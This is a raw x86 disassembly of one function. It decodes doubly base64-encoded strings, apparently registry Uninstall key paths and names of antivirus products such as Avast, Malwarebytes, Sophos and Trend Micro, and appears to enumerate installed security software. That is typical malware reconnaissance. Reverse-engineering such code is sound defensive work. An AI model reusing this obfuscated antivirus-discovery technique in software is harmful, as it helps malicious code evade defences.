mov dword [esp + 0x148], 0xec
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y016WXdWRzkwWVd4VFpXTjFjbWwwZVE9PQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0xed
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0xee
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.TXpZd0lGUnZkR0ZzSUZObFkzVnlhWFI1
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xef
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0xf0
mov esi, esp
mov dword [esp + 0x94], esp
push 0x4576b4
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xf2
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0xf3
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0xf4
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2V6SXpOVVUzTVRGRkxUSXdRVGN0TkVKR05DMDRPVEV6TFVJeU9UVXpORE5CTkRrNU5uMD0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0xf5
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0xf6
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.VEdGMllYTnZablFnUVdRdFFYZGhjbVVnUm5KbFpTQkJiblJwZG1seWRYTT0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xf7
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0xf8
mov esi, esp
mov dword [esp + 0x94], esp
push 0x45789c
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xfa
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0xfb
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0xfc
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTFsVFZFVk5YRnhEZFhKeVpXNTBRMjl1ZEhKdmJGTmxkRnhjYzJWeWRtbGpaWE5jWEUxQ1FVMVFjbTkwWldOMGIzSmNYRWx1YzNSaGJtTmxjMXhjVFVKQlRWQnliM1JsWTNSdmNpQkpibk4wWVc1alpRPT0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0xfd
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0xfe
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.VFdGc2QyRnlaV0o1ZEdWeklFRnVkR2t0VFdGc2QyRnlaU0JRY21WdGFYVnQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xff
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov dword [esp + 0x19c], 0x100
mov esi, esp
mov dword [esp + 0x94], esp
push 0x457a64
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 2
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 3
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x104
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2UwWkRNREF5TWpVMExUUkZNVEV0TkRWQ09TMDRNemxGTFVJd1JUSkJPVUpFUXpSRE5uMD0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 5
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 6
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.VUdGdVpHRWdSbkpsWlNCQmJuUnBkbWx5ZFhNPQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 7
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 8
mov esi, esp
mov dword [esp + 0x94], esp
push 0x457c24
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xa
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0xb
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x10c
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2UwUTVNamxDTTBJMUxUVTJRell0TkRaRFF5MUNNMEV6TFVFeFFUYzRORU5DUWpoRk5IMD0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0xd
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
mov byte [esp + 0x164], 0xe
push ecx
mov dword [esp + 0x50], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.VTI5d2FHOXpJRVZ1WkhCdmFXNTBJRk5sWTNWeWFYUjVJR0Z1WkNCRGIyNTBjbTlz
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xf
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x10
mov esi, esp
mov dword [esp + 0x94], esp
push 0x457e14
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x12
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x13
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
push ecx
mov dword [esp + 0x28], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x2c], esp
push str.VkhKbGJtUWdUV2xqY204Z1FXNTBhWFpwY25Wekt3PT0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x2c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov dword [esp + 0x128], 0x114
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push eax
call fcn.00408ab5
mov byte [esp + 0x144], 0x15
push ecx
mov dword [esp + 0x34], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2UwRkNRa1EwUWtFNExUWTNNRE10TkRCRU1pMUJRakZGTFRWQ1FqRkdOMFJDTkRsQk5IMWNYRVJwYzNCc1lYbE9ZVzFs
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x16
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x17
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.VkhKbGJtUWdUV2xqY204Z1FXNTBhWFpwY25WeklDcz0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x18
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x19
mov esi, esp
mov dword [esp + 0x94], esp
push 0x458064
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x1b
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x1c
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
push ecx
mov dword [esp + 0x28], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x2c], esp
mov edi, str.VkhKbGJtUWdUV2xqY204Z1NXNTBaWEp1WlhRZ1UyVmpkWEpwZEhrPQ
push edi
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x2c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov dword [esp + 0x128], 0x11d
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push eax
call fcn.00408ab5
push ecx
mov esi, esp
mov byte [esp + 0x148], 0x1e
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2UwRkNRa1EwUWtFNExUWTNNRE10TkRCRU1pMUJRakZGTFRWQ1FqRkdOMFJDTkRsQk5IMWNYRVJwYzNCc1lYbE9ZVzFs
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x1f
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x20
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push edi
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x21
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x22
mov esi, esp
mov dword [esp + 0x94], esp
push 0x4580e4
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x24
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x25
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x126
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1FXZHVhWFIxYlNCUGRYUndiM04wSUZObFkzVnlhWFI1SUZOMWFYUmxJRVp5WldWZmFYTXg
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x27
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov byte [esp + 0x168], 0x28
mov dword [esp + 0x50], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.UVdkdWFYUjFiU0JQZFhSd2IzTjBJRk5sWTNWeWFYUjVJRk4xYVhSbA
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x29
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x2a
mov esi, esp
mov dword [esp + 0x94], esp
push 0x4582c4
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x2c
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x2d
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x12e
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2UwRkdPREkyTjBNMlh6ZzRPRFpmTkdObVpGOUJRVU0zWHpRNFFrTkNPRGM1TnpRelJuMD0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x2f
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
mov byte [esp + 0x160], 0x30
push ebx
push ecx
mov dword [esp + 0x50], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.UVdodVRHRmlJRll6SUVsdWRHVnlibVYwSUZObFkzVnlhWFI1
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x31
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x32
mov esi, esp
mov dword [esp + 0x94], esp
push 0x458494
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x34
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x35
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x136
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1MybHVaM052Wm5RZ1NXNTBaWEp1WlhRZ1UyVmpkWEpwZEhrZ09TQlFiSFZ6
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov byte [esp + 0x144], 0x37
mov esi, eax
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x38
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.UzJsdVozTnZablFnU1c1MFpYSnVaWFFnVTJWamRYSnBkSGs9
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x39
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x3a
mov esi, esp
mov dword [esp + 0x94], esp
push 0x45864c
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x3c
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x3d
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x13e
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2V6QXdNalEzTlRNeExVSkNSVFl0TkRRME5DMDROemcwTFVWRFJrWXlOalpETVRFeE1uMD0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x3f
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x40
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.VmtsUVVrVWdTVzUwWlhKdVpYUWdVMlZqZFhKcGRIaz0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x41
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x42
mov esi, esp
mov dword [esp + 0x94], esp
push 0x458814
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x44
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x45
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov dword [esp + 0x148], 0x146
mov esi, esp
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1VWRlFRMDFuY2c9PQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0xc0]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x47
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x48
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.VkdWdVkyVnVkQ0JRUXlCTllXNWhaMlZ5
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0xe4]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x49
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x4a
mov esi, esp
mov dword [esp + 0x94], esp
push 0x45895c
call fcn.00408ab5
lea edi, [esp + 0x11c]
mov byte [esp + 0x19c], 0x4c
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x4d
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0xa4]
add eax, 0xfffffff0
call fcn.0040117e
mov eax, dword [esp + 0xa0]
add eax, 0xfffffff0
call fcn.0040117e
mov ecx, dword [esp + 0x120]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4